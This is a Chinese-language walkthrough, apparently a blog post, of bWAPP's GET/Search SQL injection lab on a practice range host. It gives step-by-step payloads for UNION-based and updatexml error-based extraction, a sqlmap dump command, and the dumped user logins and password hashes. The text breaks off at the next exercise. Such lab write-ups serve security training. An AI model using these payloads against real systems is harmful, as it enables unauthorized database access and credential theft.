我生来就是高山而非溪流 ,我欲于群峰之巅俯视平庸的沟壑。我生来就是人杰而非草芥,我站在伟人之肩藐视卑微的懦夫!
SQL Injection (GET/Search)
题目标明为GET搜索型SQL注入,所以提交的SQL语句一般为关键字左右两边有“%”作为通配符的条件。
low:
搜索框内不输入任何数据,点击搜索
URL:http://range.anhunsec.cn:82/sqli_1.php?title=&action=search
结果如下:
由此猜想,上面的内容可能是全部内容。
在搜索框里面输入:g,
URL:http://range.anhunsec.cn:82/sqli_1.php?title=g&action=search
结果如下:
以上内容是包含“g/G”的内容条目。
在搜索框里面输入:g’ ,
URL:http://range.anhunsec.cn:82/sqli_1.php?title=g’&action=search
结果如下:
上图中爆出了数据库错误,由此猜想很大可能存在SQL注入漏洞(假装不知道这里有SQL注入漏洞 ❀鸡)。
我们构造如下语句进行进一步探测:
g%’ or 1=1 #
g%’ or 1=2 #
上面两语句中的 % 用来保证 or 前面的内容与构建之前的语句内容吻合,# 用来注释掉后面被多出来的 ’ 和 % 。例如:原SQL语句为:
SELECT * FROM movies WHERE title LIKE ‘%g%’
进行构造后的SQL语句为:
SELECT * FROM movies WHERE title LIKE ‘%g%’ or 1=1/2 #%’
关键字为:g%’ or 1=1 #
URL:http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d1+%23&action=search
的结果:
结果同关键字为空的结果一样为全部内容,应为语句 g%’ or 1=1 # 的构成是的 where 后语句永远为真,故和选取所有的效果相同,即为全部内容。
关键字为:g%’ or 1=2 #
URL:http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d2+%23&action=search
的结果:
由于 or 后面语句为假,故只有前面的语句起作用,所以结果与关键字为 “g” 的结果相同。
由以上判断可确定此处有SQL注入漏洞,此处为字符型注入。
判断字段数,g和’直间必须有%
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27order%20by%208%23&action=search
结果有7个字段
查找回显点
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,2,3,4,5,6,7%23&action=search
可以在2,3,4,5处得到我们想要的信息
查找数据库名
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,database(),3,4,5,6,7%23&action=search
为bWAPP
查找数据库名为bWAPP中的表
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'%23&action=search
为blog,heroes,movies,users,visitors
查找数据库名为bWAPP中的表users中的字段
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'%23&action=search
为id,login,password,email,secret,activation_code,activated,reset_code,admin
查找数据库名为bWAPP中的表users中的字段login,password的值
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(login),group_concat(password),4,5,6,7 from users%23&action=search
为
A.I.M.,bee | 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0 |
---|---|
6885858486f31043e5839c735d99457f045affd0解密为bug
解密为bug
给sqlmap去跑…
sqlmap -r t.txt --dbs --dbms mysql -D bwapp -T users -C admin,id,login,password --dump
最终结果:
medium:
low级别的payload已无法读取到内容
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union%20select%201,group_concat(login),group_concat(password),4,5,6,7%20from%20users%23&action=search
结果如下
查看源代码
’ or updatexml(1,concat(0x7e,(select database()),0x7e),1)or’
为bWAPP
查找数据库名为bWAPP中的表
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),0x7e),1)or'
为blog,heroes,movies,users,visito发现不能全部显示
在这一步可以使用left,mid,right来进行分段显示,将得到的信息进行拼接,下面的22是从右往左显示22个字符,
' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),22),0x7e),1)or'
所有表名为blog,heroes,movies,users,visitors
查找数据库名为bWAPP中的表users中的字段
’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘bWAPP’ and table_name=‘users’),0x7e),1)or’
为id,login,password,email,secret,发现不能全部显示
可以用limit函数逐个读取数据库中的表名
’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘bWAPP’ and table_name=‘users’ limit 0,1),0x7e),1)or’
为id,login,password,email,secret,activation_code,activated,reset_code,admin
查找数据库名为bWAPP中的表users中的字段login的值
’ or updatexml(1,concat(0x7e,(select group_concat(login) from users),0x7e),1)or’
为A.I.M.,bee
查找数据库名为bWAPP中的表users中的字段password的值
’ or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)or’
为6885858486f31043e5839c735d99457f045affd0解密为bug
同时查找数据库名为bWAPP中的表users中的字段login,password的值
’ or updatexml(1,concat(0x7e,(select group_concat(login,password) from users limit 0,1),0x7e),1)or’
为A.I.M.6885858486f31043e5839c735
high:
漏洞将没有
SQL Injection (GET/Select)
low:
访问url:
http://range.anhunsec.cn:82/sqli_2.php?movie=1&action&